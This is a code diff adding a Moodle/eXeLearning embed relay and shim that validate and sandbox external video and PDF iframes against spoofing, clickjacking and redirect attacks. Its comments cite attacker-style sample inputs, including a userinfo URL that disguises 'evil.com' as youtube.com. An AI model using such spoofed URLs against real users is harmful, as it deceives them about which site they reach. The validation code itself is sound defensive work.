+     * Build a host lookup map from a whitelist array (lowercased). Used by 'strict' mode.
+     *
+     * @param {string[]} list
+     * @returns {Object}
+     */
+    function buildWhitelist(list) {
+        var map = {};
+        (list || []).forEach(function (host) {
+            map[String(host).toLowerCase()] = true;
+        });
+        return map;
+    }
+
+    /**
+     * Directory portion of the content iframe src (everything up to the last '/').
+     *
+     * @param {string} src
+     * @returns {string}
+     */
+    function contentDir(src) {
+        try {
+            return new URL(src, window.location.href).href.replace(/[^/]*([?#].*)?$/, '');
+        } catch (e) {
+            return '';
+        }
+    }
+
+    /**
+     * Long hex token shared by the content URL and its assets (null when there is
+     * none, e.g. content URLs that use numeric ids).
+     *
+     * @param {string} src
+     * @returns {?string}
+     */
+    function packageId(src) {
+        var match = String(src).match(/[a-f0-9]{12,}/i);
+        return match ? match[0] : null;
+    }
+
+    /**
+     * Whether a same-origin URL is one of this package's own extracted files: under
+     * the content's own directory, or carrying the package hash as a path segment.
+     *
+     * @param {URL} url
+     * @param {string} contentSrc
+     * @returns {boolean}
+     */
+    function isSameOriginPackageFile(url, contentSrc) {
+        var dir = contentDir(contentSrc);
+        if (dir && url.href.indexOf(dir) === 0) {
+            return true;
+        }
+        var id = packageId(contentSrc);
+        return !!(id && url.pathname.indexOf('/' + id + '/') !== -1);
+    }
+
+    /**
+     * Whether a host is an IP literal (v4/v6) or a loopback/local name. Such hosts are
+     * cross-origin to the LMS yet target the machine/internal network, so they are
+     * rejected even though SOP would isolate them.
+     *
+     * @param {string} host  Lowercased URL.hostname.
+     * @returns {boolean}
+     */
+    function isIpOrLocalHost(host) {
+        if (!host) { return true; }
+        if (host === 'localhost' || /\.localhost$/.test(host) || /\.local$/.test(host)) { return true; }
+        if (host.charAt(0) === '[' || host.indexOf(':') !== -1) { return true; }  // IPv6 (bracketed).
+        if (/^\d{1,3}(\.\d{1,3}){3}$/.test(host)) { return true; }                 // Any IPv4 literal.
+        return false;
+    }
+
+    /**
+     * Lowercase a hostname and strip a single trailing dot. 'lms.example.org.' (the
+     * FQDN-root form) resolves to the same vhost as 'lms.example.org' but compares
+     * unequal as a raw string, so without this it would slip past the same-origin /
+     * related-to-LMS gate below and be promoted as a cross-origin player.
+     *
+     * @param {string} host
+     * @returns {string}
+     */
+    function normalizeHost(host) {
+        return (host || '').toLowerCase().replace(/\.$/, '');
+    }
+
+    /**
+     * Whether a host equals, is a subdomain of, or is a superdomain of the LMS host
+     * (dotted boundary so 'evil-lms.example' does not match 'lms.example'). Such hosts
+     * may share the LMS cookies, so they are rejected. Both sides are normalised so the
+     * trailing-dot FQDN-root form cannot evade the comparison.
+     *
+     * @param {string} host
+     * @param {string} lmsHost
+     * @returns {boolean}
+     */
+    function isRelatedToLms(host, lmsHost) {
+        host = normalizeHost(host);
+        lmsHost = normalizeHost(lmsHost);
+        if (!lmsHost) { return false; }
+        return host === lmsHost || host.endsWith('.' + lmsHost) || lmsHost.endsWith('.' + host);
+    }
+
+    /**
+     * The structural invariant: an https URL cross-origin to the LMS and not pointing at
+     * a sub/superdomain, an IP/loopback/local host, or carrying userinfo. This is the
+     * only attacker-influenced gate in 'open' mode, and it is what makes the sandboxed
+     * player's allow-same-origin safe (the embed keeps ITS OWN origin, isolated by SOP).
+     *
+     * @param {URL} url
+     * @returns {boolean}
+     */
+    function isCrossOriginHttps(url) {
+        if (url.protocol !== 'https:') { return false; }
+        if (url.username || url.password) { return false; }
+        if (url.origin === window.location.origin) { return false; }
+        var host = normalizeHost(url.hostname);
+        if (isIpOrLocalHost(host)) { return false; }
+        var lmshost = (window.location && window.location.hostname) ? window.location.hostname : '';
+        if (isRelatedToLms(host, lmshost)) { return false; }
+        return true;
+    }
+
+    // Provider templates for the id-only channel (DEC-80-07): the parent rebuilds the canonical
+    // embed URL from {provider, objectId} reported by the shim, re-checking the object id
+    // against a strict per-provider regex so it cannot carry a path/query/fragment and escape
+    // the template (e.g. '../../x' or 'a/b?c'). The reconstructed URL still runs through
+    // validate() (structural invariant / strict whitelist), so this narrows the surface for
+    // recognised providers; it is not, by itself, the trust gate.
+    var PROVIDER_TEMPLATES = {
+        youtube: { re: /^[A-Za-z0-9_-]{6,}$/, build: function (id) { return 'https://www.youtube-nocookie.com/embed/' + id; } },
+        vimeo: { re: /^[0-9]+$/, build: function (id) { return 'https://player.vimeo.com/video/' + id; } },
+        dailymotion: { re: /^[A-Za-z0-9]{5,}$/, build: function (id) { return 'https://www.dailymotion.com/embed/video/' + id; } },
+        'mediateca-madrid': { re: /^[A-Za-z0-9]{8,}$/, build: function (id) { return 'https://mediateca.educa.madrid.org/video/' + id + '/fs'; } }
+    };
+
+    /**
+     * Rebuild the canonical embed URL for a recognised provider from its object id, or null
+     * if the provider is unknown or the id is not the exact shape the template expects.
+     *
+     * @param {string} provider
+     * @param {string} objectId
+     * @returns {?string}
+     */
+    function reconstructProvider(provider, objectId) {
+        var t = PROVIDER_TEMPLATES[provider];
+        if (!t || typeof objectId !== 'string' || !t.re.test(objectId)) {
+            return null;
+        }
+        return t.build(objectId);
+    }
+
+    /**
+     * Validate an embed URL. Returns {url, kind ('video'|'pdf'), sameorigin?} or null.
+     *
+     * @param {string} raw         The reported (absolute) embed URL.
+     * @param {string} contentSrc  The src of the content iframe that reported it.
+     * @param {Object} opts        {strict: boolean, whitelist: Object}.
+     * @returns {?Object}
+     */
+    function validate(raw, contentSrc, opts) {
+        opts = opts || {};
+        var url;
+        try {
+            // Parse as an ABSOLUTE URL (the shim always reports absolute). No base:
+            // a relative/scheme-relative value would otherwise inherit the LMS origin
+            // and pass as same-origin -- here it throws and is rejected instead.
+            url = new URL(raw);
+        } catch (e) {
+            return null;
+        }
+        if (url.username || url.password) {
+            return null; // Reject userinfo, e.g. https://evil.com@youtube.com/.
+        }
+        var host = url.hostname.toLowerCase();
+
+        // PDFs: any cross-origin https .pdf, or a same-origin file that belongs to this
+        // package (served as application/pdf + nosniff, never executable HTML).
+        if (/\.pdf$/i.test(url.pathname)) {
+            if (url.origin === window.location.origin) {
+                return isSameOriginPackageFile(url, contentSrc) ? { url: url.href, kind: 'pdf', sameorigin: true } : null;
+            }
+            return isCrossOriginHttps(url) ? { url: url.href, kind: 'pdf' } : null;
+        }
+
+        // Strict mode: maintained host allowlist + per-provider canonical reconstruction.
+        if (opts.strict) {
+            var whitelist = opts.whitelist || {};
+            if (whitelist[host] && url.protocol === 'https:') {
+                var m;
+                if (host.indexOf('youtube') !== -1) {
+                    m = url.pathname.match(/^\/embed\/([A-Za-z0-9_-]{6,})$/);
+                    return m ? { url: 'https://www.youtube-nocookie.com/embed/' + m[1], kind: 'video' } : null;
+                }
+                if (host.indexOf('vimeo') !== -1) {
+                    m = url.pathname.match(/^\/video\/([0-9]+)$/);
+                    return m ? { url: 'https://player.vimeo.com/video/' + m[1], kind: 'video' } : null;
+                }
+                if (host.indexOf('dailymotion') !== -1) {
+                    m = url.pathname.match(/^\/embed\/video\/([A-Za-z0-9]{5,})$/);
+                    return m ? { url: 'https://www.dailymotion.com/embed/video/' + m[1], kind: 'video' } : null;
+                }
+                if (host === 'mediateca.educa.madrid.org') {
+                    m = url.pathname.match(/^\/video\/([A-Za-z0-9]{8,})(?:\/fs)?$/);
+                    return m ? { url: 'https://mediateca.educa.madrid.org/video/' + m[1] + '/fs', kind: 'video' } : null;
+                }
+            }
+            return null;
+        }
+
+        // Open mode (default): any cross-origin https iframe is a video embed.
+        return isCrossOriginHttps(url) ? { url: url.href, kind: 'video' } : null;
+    }
+
+    /**
+     * Create the player iframe for a validated embed. The video player gets allow-same-origin
+     * (so the cross-origin provider keeps its own origin and renders) while omitting
+     * allow-top-navigation/allow-modals, so a hostile embed cannot redirect the LMS tab or
+     * spam dialogs. A same-origin package PDF is served as application/pdf + nosniff (never
+     * executable HTML) and is left unsandboxed so the browser's built-in viewer renders it; a
+     * CROSS-ORIGIN PDF URL comes from the untrusted package, so it is sandboxed WITHOUT
+     * allow-top-navigation (a server can serve scripted HTML at a .pdf path, which unsandboxed
+     * could top-navigate the parent tab to a phishing page).
+     *
+     * @param {Object} result {url, kind, sameorigin?} from validate().
+     * @returns {HTMLIFrameElement}
+     */
+    function makePlayer(result) {
+        var frame = document.createElement('iframe');
+        frame.style.cssText = 'position:absolute;border:0;pointer-events:auto;';
+        // Mark as a player so it is never mistaken for a content source (message auth).
+        frame.setAttribute('data-exe-embed-player', '1');
+        if (result.kind === 'video') {
+            frame.setAttribute('sandbox', 'allow-scripts allow-same-origin allow-popups allow-forms allow-presentation');
+            frame.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture; clipboard-write');
+            frame.setAttribute('allowfullscreen', '');
+            frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        } else if (result.sameorigin) {
+            // Same-origin PDF that belongs to THIS package: served application/pdf + nosniff
+            // (never executable HTML, so it cannot script or navigate), left unsandboxed so the
+            // browser's built-in viewer renders it (it shows the broken-document icon inside a
+            // sandbox). The load guard still removes it if it redirects to the LMS origin.
+            frame.setAttribute('allow', 'fullscreen');
+            frame.setAttribute('referrerpolicy', 'no-referrer');
+        } else {
+            // Cross-origin PDF whose URL is controlled by the untrusted package. A server can
+            // serve scripted HTML at a ".pdf" path; unsandboxed, that frame could top-navigate
+            // the Moodle tab to a phishing page on a click (a package must never change the
+            // parent URL). Sandbox it WITHOUT allow-top-navigation/allow-scripts; allow-same-
+            // origin keeps the provider's own origin (SOP-isolated from the LMS). Trade-off: a
+            // genuine cross-origin PDF may render the broken-document icon under the sandbox --
+            // accepted, since local package PDFs (the common case) take the branch above and
+            // blocking the tab-redirect vector matters more than inlining a remote PDF.
+            frame.setAttribute('sandbox', 'allow-same-origin');
+            frame.setAttribute('allow', 'fullscreen');
+            frame.setAttribute('referrerpolicy', 'no-referrer');
+        }
+        frame.src = result.url;
+        // Tag with the URL it renders so sync() can detect when a reused embed id (the
+        // shim restarts its counter per page) now points at a different URL.
+        frame.setAttribute('data-exe-embed-src', result.url);
+        return frame;
+    }
+
+    /**
+     * Create a relay instance.
+     *
+     * @param {Object} config {mode: 'open'|'strict', whitelist: string[]}
+     * @returns {Object}
+     */
+    function createRelay(config) {
+        config = config || {};
+        var strict = config.mode === 'strict';
+        var whitelist = buildWhitelist(config.whitelist);
+        var overlays = [];
+        // Handles for the listeners/timer init() installs, so dispose() can remove
+        // them and init() can stay idempotent (a second init() must not stack a
+        // second drift interval + duplicate window listeners on the same relay).
+        var driftTimer = null;
+        var started = false;
+
+        function findOverlay(iframe) {
+            for (var i = 0; i < overlays.length; i++) {
+                if (overlays[i].iframe === iframe) {
+                    return overlays[i];
+                }
+            }
+            return null;
+        }
+
+        // Resolve the CONTENT iframe a message came from. Promoted players are excluded
+        // (data-exe-embed-player): a sandboxed player with allow-same-origin could
+        // otherwise postMessage a forged 'sync' and impersonate a content source.
+        function frameForSource(source) {
+            var frames = document.getElementsByTagName('iframe');
+            for (var i = 0; i < frames.length; i++) {
+                if (frames[i].getAttribute('data-exe-embed-player')) {
+                    continue;
+                }
+                if (frames[i].contentWindow === source) {
+                    return frames[i];
+                }
+            }
+            return null;
+        }
+
+        function overlayFor(iframe) {
+            var entry = findOverlay(iframe);
+            if (entry) {
+                return entry;
+            }
+            var el = document.createElement('div');
+            el.className = 'exe-embed-overlay';
+            el.style.cssText = 'position:absolute;overflow:hidden;pointer-events:none;z-index:2147483646;';
+            document.body.appendChild(el);
+            entry = { iframe: iframe, el: el, players: {} };
+            overlays.push(entry);
+            return entry;
+        }
+
+        function positionOverlay(entry, rect) {
+            rect = rect || entry.iframe.getBoundingClientRect();
+            var scrollX = window.pageXOffset || document.documentElement.scrollLeft || 0;
+            var scrollY = window.pageYOffset || document.documentElement.scrollTop || 0;
+            entry.el.style.left = (rect.left + scrollX) + 'px';
+            entry.el.style.top = (rect.top + scrollY) + 'px';
+            entry.el.style.width = rect.width + 'px';
+            entry.el.style.height = rect.height + 'px';
+            // Remembered so checkDrift() can detect host-driven moves of the content
+            // iframe (panel toggles, sidebar show/hide) that fire no scroll/resize.
+            entry.lastRect = { left: rect.left, top: rect.top, width: rect.width, height: rect.height };
+        }
+
+        /**
+         * Re-position any overlay whose content iframe box moved since it was last
+         * placed. The host page can move or resize the content iframe without any
+         * scroll/resize event firing (editor sidebar toggles, panel slide-ins, CSS
+         * transforms), which would strand the overlay at its old position. Called
+         * from a low-frequency interval in init(); one getBoundingClientRect per
+         * overlay per tick. Returns how many overlays were re-positioned.
+         *
+         * @returns {number}
+         */
+        function checkDrift() {
+            var moved = 0;
+            for (var i = 0; i < overlays.length; i++) {
+                var entry = overlays[i];
+                var rect = entry.iframe.getBoundingClientRect();
+                var last = entry.lastRect;
+                if (
+                    !last ||
+                    rect.left !== last.left ||
+                    rect.top !== last.top ||
+                    rect.width !== last.width ||
+                    rect.height !== last.height
+                ) {
+                    positionOverlay(entry, rect);
+                    moved += 1;
+                }
+            }
+            return moved;
+        }
+
+        // D1: if a promoted embed lands SAME-ORIGIN to the LMS (e.g. a cross-origin URL
+        // that 30x-redirects to this origin), with allow-same-origin it would become
+        // scriptable against this page -> remove it. A genuine cross-origin player throws
+        // on contentWindow.document (expected, kept). Not armed for same-origin package
+        // PDFs (intentionally same-origin, served as application/pdf).
+        function armSameOriginGuard(entry, id, player) {
+            player.addEventListener('load', function () {
+                try {
+                    if (player.contentWindow && player.contentWindow.document) {
+                        if (player.parentNode) { player.parentNode.removeChild(player); }
+                        if (entry.players[id] === player) { delete entry.players[id]; }
+                    }
+                } catch (e) { /* cross-origin: expected, keep the player */ }
+            });
+        }
+
+        function sync(entry, embeds, contentSrc) {
+            // The content iframe's box is invariant across this sync pass (the loop only
+            // mutates the overlay and its players), so read it once and reuse it for the
+            // overlay position and every player clamp -- avoids a forced reflow per embed.
+            var rect = entry.iframe.getBoundingClientRect();
+            positionOverlay(entry, rect);
+            var seen = {};
+            embeds.forEach(function (embed) {
+                if (!embed || typeof embed.id !== 'string') {
+                    return;
+                }
+                if (!isFinite(embed.x) || !isFinite(embed.y) || !isFinite(embed.w) || !isFinite(embed.h)) {
+                    return;
+                }
+                // id-only channel (DEC-80-07): for recognised providers the shim reports
+                // {provider, objectId} and the parent rebuilds the canonical URL from a
+                // fixed template (the author URL never crosses for these). Unknown embeds
+                // keep the URL path. Either way validate() runs the structural invariant.
+                var raw = embed.url;
+                if (embed.provider && embed.objectId) {
+                    raw = reconstructProvider(embed.provider, embed.objectId);
+                    if (!raw) {
+                        return;
+                    }
+                }
+                var result = validate(raw, contentSrc, { strict: strict, whitelist: whitelist });
+                if (!result) {
+                    return;
+                }
+                seen[embed.id] = true;
+                var player = entry.players[embed.id];
+                // After the content navigates, the shim reuses ids (exe-embed-1, ...) for
+                // the new page's embeds. If this id now renders a different URL, drop the
+                // stale player so the previous page's video does not linger here.
+                if (player && player.getAttribute('data-exe-embed-src') !== result.url) {
+                    player.parentNode.removeChild(player);
+                    delete entry.players[embed.id];
+                    player = null;
+                }
+                if (!player) {
+                    player = makePlayer(result);
+                    entry.el.appendChild(player);
+                    entry.players[embed.id] = player;
+                    if (!result.sameorigin) {
+                        armSameOriginGuard(entry, embed.id, player);
+                    }
+                }
+                // Defence in depth against clickjacking: the overlay is clamped to the
+                // content iframe's box and clips with overflow:hidden, so a player can
+                // never cover host UI outside the iframe. Cap the player size to the
+                // overlay too (the content reports geometry, the parent owns rendering).
+                // Reuses the iframe rect read once at the top of this pass.
+                player.style.left = embed.x + 'px';
+                player.style.top = embed.y + 'px';
+                player.style.width = Math.min(embed.w, rect.width) + 'px';
+                player.style.height = Math.min(embed.h, rect.height) + 'px';
+            });
+            Object.keys(entry.players).forEach(function (id) {
+                if (!seen[id]) {
+                    entry.players[id].parentNode.removeChild(entry.players[id]);
+                    delete entry.players[id];
+                }
+            });
+        }
+
+        function onMessage(event) {
+            var data = event.data;
+            if (!data || data.type !== 'exe-embed') {
+                return;
+            }
+            // The shim never promotes an embed until a host proves it is listening,
+            // otherwise unhosted content (file://, a third-party LMS, an ePub reader)
+            // is left holding placeholders nobody will ever fill. This 'welcome' is
+            // that proof, and it is ADDRESSED: only a resolved CONTENT frame is
+            // answered, never a promoted player and never a window we do not host.
+            // (pingAll's 'request' is a broadcast and deliberately cannot unlock.)
+            if (data.action === 'hello') {
+                if (!frameForSource(event.source)) {
+                    return;
+                }
+                try {
+                    event.source.postMessage({ type: 'exe-embed', action: 'welcome' }, '*');
+                } catch (e) {
+                    // A frame that went away between the hello and this reply.
+                }
+                return;
+            }
+            if (data.action !== 'sync' || !Array.isArray(data.embeds)) {
+                return;
+            }
+            var iframe = frameForSource(event.source);
+            if (!iframe) {
+                return;
+            }
+            sync(overlayFor(iframe), data.embeds, iframe.src);
+        }
+
+        // Browser-only glue below (window listeners, reflow on scroll/resize, pinging
+        // the content iframes). Exercised by the Playwright/Firefox e2e
+        // (tests/e2e/embed.spec.cjs), not the happy-dom unit tests.
+        /* v8 ignore start */
+        function pingAll() {
+            var frames = document.getElementsByTagName('iframe');
+            for (var i = 0; i < frames.length; i++) {
+                if (frames[i].getAttribute('data-exe-embed-player')) {
+                    continue;
+                }
+                try {
+                    frames[i].contentWindow.postMessage({ type: 'exe-embed', action: 'request' }, '*');
+                } catch (e) {
+                    // Cross-origin player iframes reject this; harmless.
+                }
+            }
+        }
+
+        var scheduled = false;
+        function scheduleReflow() {
+            if (scheduled) {
+                return;
+            }
+            scheduled = true;
+            window.requestAnimationFrame(function () {
+                scheduled = false;
+                for (var i = 0; i < overlays.length; i++) {
+                    positionOverlay(overlays[i]);
+                }
+            });
+        }
+        /* v8 ignore stop */
+
+        // Remove every overlay element and its players from the DOM and empty the
+        // overlays list (dispose() reuses this to tear the relay down completely).
+        function clear() {
+            for (var i = 0; i < overlays.length; i++) {
+                var entry = overlays[i];
+                var ids = Object.keys(entry.players);
+                for (var j = 0; j < ids.length; j++) {
+                    var player = entry.players[ids[j]];
+                    if (player && player.parentNode) {
+                        player.parentNode.removeChild(player);
+                    }
+                }
+                entry.players = {};
+                if (entry.el && entry.el.parentNode) {
+                    entry.el.parentNode.removeChild(entry.el);
+                }
+            }
+            overlays.length = 0;
+        }
+
+        // Tear down the overlays AND remove the window listeners + drift timer that
+        // init() installed, so a relay whose host is gone (preview panel disposed,
+        // tab closed) leaves nothing running. Idempotent; init() can run again
+        // afterwards on a reused relay.
+        function dispose() {
+            clear();
+            /* v8 ignore start */
+            if (driftTimer !== null) {
+                window.clearInterval(driftTimer);
+                driftTimer = null;
+            }
+            window.removeEventListener('message', onMessage);
+            window.removeEventListener('resize', scheduleReflow);
+            window.removeEventListener('scroll', scheduleReflow, true);
+            window.removeEventListener('load', pingAll);
+            /* v8 ignore stop */
+            started = false;
+        }
+
+        return {
+            onMessage: onMessage,
+            sync: sync,
+            checkDrift: checkDrift,
+            dispose: dispose,
+            validate: function (raw, contentSrc) {
+                return validate(raw, contentSrc, { strict: strict, whitelist: whitelist });
+            },
+            /* v8 ignore start */
+            init: function () {
+                // Idempotent: a second init() on the same relay must not stack a
+                // second drift interval and duplicate window listeners.
+                if (started) {
+                    return this;
+                }
+                started = true;
+                window.addEventListener('message', onMessage);
+                window.addEventListener('resize', scheduleReflow);
+                window.addEventListener('scroll', scheduleReflow, true);
+                window.addEventListener('load', pingAll);
+                pingAll();
+                window.setTimeout(pingAll, 500);
+                // Host layout changes (sidebar toggles, panel slide-ins) move the
+                // content iframe with no scroll/resize event; keep the overlays
+                // pinned to it with a cheap low-frequency drift check.
+                driftTimer = window.setInterval(checkDrift, 300);
+                return this;
+            }
+            /* v8 ignore stop */
+        };
+    }
+
+    /**
+     * Bootstrap: create a relay from config and start listening.
+     *
+     * @param {Object} config {mode: 'open'|'strict', whitelist: string[]}
+     * @returns {Object}
+     */
+    /* v8 ignore next 3 */
+    function init(config) {
+        return createRelay(config).init();
+    }
+
+    var exp = {
+        buildWhitelist: buildWhitelist,
+        contentDir: contentDir,
+        packageId: packageId,
+        isSameOriginPackageFile: isSameOriginPackageFile,
+        isIpOrLocalHost: isIpOrLocalHost,
+        normalizeHost: normalizeHost,
+        isRelatedToLms: isRelatedToLms,
+        isCrossOriginHttps: isCrossOriginHttps,
+        reconstructProvider: reconstructProvider,
+        validate: validate,
+        makePlayer: makePlayer,
+        createRelay: createRelay,
+        init: init
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser bootstrap (view.php) consumes window.exeEmbedRelay.
+    if (typeof window !== 'undefined') { window.exeEmbedRelay = exp; }
+})();
diff --git a/js/exe_embed_shim.js b/js/exe_embed_shim.js
new file mode 100644
index 0000000..9756f3a
--- /dev/null
+++ b/js/exe_embed_shim.js
@@ -0,0 +1,528 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * In-iframe external-embed shim for the secure (opaque-origin) package mode.
+ *
+ * Baked into the package (libs/exe_embed_shim.js) and loaded from the <head> of every
+ * page, alongside the SCORM bridge. In secure mode the package runs in an opaque-origin
+ * sandbox, so the sandbox flag propagates to nested iframes and cross-origin players
+ * (YouTube, Vimeo) plus PDFs render blank. This shim replaces each cross-origin (https)
+ * or .pdf iframe with a same-size placeholder and reports its geometry to the parent,
+ * which validates it and overlays the real player inline (see js/exe_embed_relay.js). It
+ * self-activates ONLY in the opaque origin (so the same baked file stays dormant in
+ * legacy same-origin mode, where external players already render inline and the relay is
+ * not loaded).
+ *
+ * There is no host list here: the shim promotes any cross-origin https (or .pdf) iframe
+ * as a candidate and the parent relay is the authoritative gate (open vs strict mode,
+ * DEC-80-03). postMessage targetOrigin is '*' because the opaque origin has no stable
+ * value; the parent authenticates messages by event.source instead.
+ *
+ * Exposed two ways from a single body: window.exeEmbedShim (browser bootstrap) and
+ * module.exports (Vitest). See research ADR DEC-80-01.
+ *
+ * MIRROR of the canonical eXeLearning embedder source in eXe core
+ * (public/app/common/exe_embed_bridge/exe_embed_shim.js). Keep in sync with core;
+ * changes flow from core outward. Verified by core scripts/check-embed-sync.mjs.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(function () {
+    'use strict';
+
+    /**
+     * Whether this document runs in an opaque origin (secure sandbox). In an opaque
+     * origin document.cookie throws and window.origin is "null".
+     *
+     * @param {Window} [win] Defaults to the global window (injectable for tests).
+     * @returns {boolean}
+     */
+    function isOpaqueOrigin(win) {
+        win = win || (typeof window !== 'undefined' ? window : undefined);
+        try {
+            void (win && win.document ? win.document : document).cookie;
+            return win.origin === 'null';
+        } catch (e) {
+            return true;
+        }
+    }
+
+    /**
+     * Whether this window is nested in another browsing context.
+     *
+     * @param {Window} [win]
+     * @returns {boolean}
+     */
+    function isFramed(win) {
+        win = win || (typeof window !== 'undefined' ? window : undefined);
+        try {
+            return !!win && win.parent !== win;
+        } catch (e) {
+            return true; // Cross-origin parent access throws -> we are framed.
+        }
+    }
+
+    /**
+     * The content document's own location, used to resolve relative srcs and to
+     * decide what counts as same-host. Defaults to the global window's.
+     *
+     * @param {string} [baseHref]
+     * @returns {string|undefined}
+     */
+    function contentBase(baseHref) {
+        if (baseHref) {
+            return baseHref;
+        }
+        return typeof window !== 'undefined' && window.location ? window.location.href : undefined;
+    }
+
+    /**
+     * Whether a URL path ends in .pdf (PDFs also fail under the opaque sandbox).
+     *
+     * @param {string} url
+     * @param {string} [baseHref] Content location (defaults to the global window's).
+     * @returns {boolean}
+     */
+    function isPdfUrl(url, baseHref) {
+        try {
+            return /\.pdf$/i.test(new URL(url, contentBase(baseHref)).pathname);
+        } catch (e) {
+            return false;
+        }
+    }
+
+    /**
+     * Whether a src resolves to an https URL on a host other than this document's own
+     * (served) host -- i.e. a cross-origin external embed. The opaque document is still
+     * served from the platform, so the content location's hostname is the platform host
+     * and the comparison is reliable. The parent relay re-validates authoritatively
+     * (DEC-80-03); this is only a candidate filter so same-origin content iframes are
+     * left untouched.
+     *
+     * The own-host side is derived by PARSING the base rather than reading
+     * `location.hostname`: a document can expose an href while leaving `hostname`
+     * unset, and reading it blind would throw and be swallowed as "not cross-origin",
+     * silently disabling promotion.
+     *
+     * @param {string} src
+     * @param {string} [baseHref] Content location (defaults to the global window's).
+     * @returns {boolean}
+     */
+    function isCrossOriginHttps(src, baseHref) {
+        try {
+            var base = contentBase(baseHref);
+            var u = new URL(src, base);
+            // Strip a single trailing dot so the LMS host in its FQDN-root form
+            // ('host.') counts as same-host and is not reported as a candidate.
+            var host = u.hostname.toLowerCase().replace(/\.$/, '');
+            var here = new URL(base).hostname.toLowerCase().replace(/\.$/, '');
+            return u.protocol === 'https:' && host !== here;
+        } catch (e) {
+            return false;
+        }
+    }
+
+    /**
+     * Whether an iframe src should be promoted to the parent: any cross-origin https
+     * embed or a .pdf (both render blank under the opaque sandbox). No host list -- the
+     * parent relay decides what actually renders (open vs strict mode).
+     *
+     * @param {string} src
+     * @param {string} [baseHref] Content location (defaults to the global window's).
+     * @returns {boolean}
+     */
+    function isPromotable(src, baseHref) {
+        return isCrossOriginHttps(src, baseHref) || isPdfUrl(src, baseHref);
+    }
+
+    /**
+     * Recognise a known video provider from an embed src and extract its object id, so the
+     * shim can report {provider, objectId} instead of the author URL (DEC-80-07 id-only
+     * channel). The parent rebuilds the canonical URL from a fixed template; this avoids
+     * passing the author's URL across the boundary for recognised providers. Returns null
+     * for unknown hosts or unexpected paths (the caller then falls back to URL mode). The
+     * id shape is intentionally permissive here; the parent re-checks it against a strict
+     * regex before templating it.
+     *
+     * @param {string} src
+     * @returns {?{provider: string, objectId: string}}
+     */
+    function extractProvider(src) {
+        var u;
+        try {
+            u = new URL(src, window.location.href);
+        } catch (e) {
+            return null;
+        }
+        if (u.protocol !== 'https:') {
+            return null;
+        }
+        var host = u.hostname.toLowerCase().replace(/\.$/, '');
+        var m;
+        if (host === 'youtu.be') {
+            m = u.pathname.match(/^\/([A-Za-z0-9_-]{6,})$/);
+            return m ? { provider: 'youtube', objectId: m[1] } : null;
+        }
+        if (host.indexOf('youtube') !== -1) {
+            m = u.pathname.match(/^\/embed\/([A-Za-z0-9_-]{6,})$/);
+            return m ? { provider: 'youtube', objectId: m[1] } : null;
+        }
+        if (host.indexOf('vimeo') !== -1) {
+            m = u.pathname.match(/^\/video\/([0-9]+)$/);
+            return m ? { provider: 'vimeo', objectId: m[1] } : null;
+        }
+        if (host.indexOf('dailymotion') !== -1) {
+            m = u.pathname.match(/^\/embed\/video\/([A-Za-z0-9]{5,})$/);
+            return m ? { provider: 'dailymotion', objectId: m[1] } : null;
+        }
+        if (host === 'mediateca.educa.madrid.org') {
+            m = u.pathname.match(/^\/video\/([A-Za-z0-9]{8,})(?:\/fs)?$/);
+            return m ? { provider: 'mediateca-madrid', objectId: m[1] } : null;
+        }
+        return null;
+    }
+
+    /**
+     * Render a width/height attribute value as a CSS length.
+     *
+     * @param {?string} value
+     * @param {string} fallback
+     * @returns {string}
+     */
+    function cssSize(value, fallback) {
+        if (!value) {
+            return fallback;
+        }
+        return /^[0-9]+$/.test(String(value)) ? value + 'px' : String(value);
+    }
+
+    /**
+     * Replace whitelisted/PDF iframes with placeholders that reserve their box and
+     * carry the embed id + url. Returns the created placeholder elements.
+     *
+     * @param {Document|Element} root A document or a container element to scan.
+     * @param {Object} counter {n:int} mutable id counter (kept across calls).
+     * @param {string} [baseHref] Content location to resolve relative srcs against.
+     * @returns {Element[]}
+     */
+    function promote(root, counter, baseHref) {
+        var base = contentBase(baseHref);
+        var created = [];
+        var maker = root.ownerDocument || root;
+        var frames = root.querySelectorAll('iframe[src]');
+        for (var i = 0; i < frames.length; i++) {
+            var frame = frames[i];
+            if (frame.getAttribute('data-exe-embed-id')) {
+                continue;
+            }
+            var src = frame.getAttribute('src');
+            if (!isPromotable(src, base)) {
+                continue;
+            }
+            var rect = frame.getBoundingClientRect ? frame.getBoundingClientRect() : { width: 0, height: 0 };
+            var placeholder = maker.createElement('div');
+            counter.n += 1;
+            placeholder.setAttribute('data-exe-embed-id', 'exe-embed-' + counter.n);
+            // Report an ABSOLUTE url: the shim runs inside the content, so resolve the
+            // (possibly relative) src against the content location. The parent relay
+            // cannot — it would resolve a relative url against the host page instead.
+            var absoluteUrl = src;
+            try {
+                absoluteUrl = new URL(src, base).href;
+            } catch (e) {
+                absoluteUrl = src;
+            }
+            placeholder.setAttribute('data-exe-embed-url', absoluteUrl);
+            // For recognised providers also stamp {provider, objectId} so the parent can
+            // rebuild the canonical URL from a fixed template (DEC-80-07 id-only channel)
+            // instead of trusting the author URL. Unknown hosts keep URL-only mode.
+            var provider = extractProvider(absoluteUrl);
+            if (provider) {
+                placeholder.setAttribute('data-exe-embed-provider', provider.provider);
+                placeholder.setAttribute('data-exe-embed-object-id', provider.objectId);
+            }
+            placeholder.className = frame.className;
+            placeholder.style.display = 'block';
